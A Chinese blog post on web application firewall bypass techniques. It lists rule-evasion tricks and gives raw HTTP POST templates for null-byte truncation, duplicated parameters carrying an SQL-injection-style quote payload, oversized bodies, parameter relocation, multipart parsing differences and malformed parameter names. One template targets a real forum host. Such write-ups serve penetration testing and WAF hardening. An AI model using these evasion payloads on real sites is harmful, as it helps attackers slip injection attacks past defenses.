WEB应用防火墙绕过技术

背景

– WEB应用防火墙越来越普遍

– 通过网络层面防护应用攻击

– 目前大部分的应用防火墙都存在绕过的威胁

存在的问题

– 应用防火墙规则问题

针对规则的测试
– 使用模糊化测试手段
    • BurpSuite
– 根据waf的返回结果判断waf的规则
    • 使用替换关键字:
    1. 字母大小写
    2. /*xx*/替换空格
    3. 使用代替语句代替拦截数据

– 应用防火墙构架导致问题

– IPS模式
    • 分片问题
    • 巨大的Content-Length,导致设备bypass
    • 解码较弱
– 代理模式
    • 使用高并发流量,导致设备切换bypass

– 应用防火墙解析方式和服务器解析方式的差异

[+] 正则的%00、%0a、 ascii 00截断

POST /member.php HTTP/1.1

Accept: */*

Accept-Language: zh-cn

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencode

Accept-Encoding: gzip, deflate

Host: www.fuck86.com

Content-Length: 118

Pragma: no-cache

aaa=x%00&username=fsdf&password=sdf&loginsubmit=true&return_type=

[+] 重复变量的绕过, 重复变量的变体

POST /member.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencode
Accept-Encoding: gzip, deflate
Host: bbs.chinaunix.net
Content-Length: 118
Pragma: no-cache
username=fsdf ' and "='&username=fsdf&password=sdf&loginsubmit=true&return_type=

[+] 绕过针对域名保护

POST /member.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencode
Accept-Encoding: gzip, deflate
Host: xxx
Content-Length: 118
Pragma: no-cache
username=fsdf&password=sdf&loginsubmit=true&return_type=

[+] 超大数据包绕过防护

POST /member.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencode
Accept-Encoding: gzip, deflate
Host: xxx
Content-Length: 118
Pragma: no-cache
a=x…{10000}&username=fsdf&password=sdf&loginsubmit=true&return_type=

[+] 变换变量位置绕过

POST /member.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencode
Accept-Encoding: gzip, deflate
Host: xxx
Content-Length: 118
Pragma: no-cache
Cookie: username=fsdf
password=sdf&loginsubmit=true&return_type=

[+] 利用不同POST的解析方式

POST / HTTP/1.1
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 
Content-Type: multipart/form-data; boundary=---------------------------7dc33b8148092e
Accept-Encoding: gzip, deflate
Content-Length: 253
Host: xxxxx
-----------------------------7dc33b8148092e
Content-Disposition: form-data; name="username"
xxxx
-----------------------------7dc33b8148092e
Content-Disposition: form-data; name="password"
ddddd
-----------------------------7dc33b8148092e--

[+] 畸形数据包结构

POST /member.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencode
Accept-Encoding: gzip, deflate
Host: xxx
Content-Length: 118
Pragma: no-cache
Username%20=fsdf& username=fsdf
&password=sdf&loginsubmit=true&return_type=

15.png

本博客所有文章如无特别注明均为原创。作者:odaycaogen复制或转载请以超链接形式注明转自 123``blog
原文地址《WEB应用防火墙绕过技术

郑重声明:本文只做技术交流学习使用,请尊重当地法规法律,勿对企业或个人网站及app进行破坏。如产生连带法律责任 123``blog 作者本人概不负责。

相关推荐

发表评论

路人甲 表情
Ctrl+Enter快速提交

网友评论(1)

写的很好,支持一下
死神有欧气 4个月前(07-26) 回复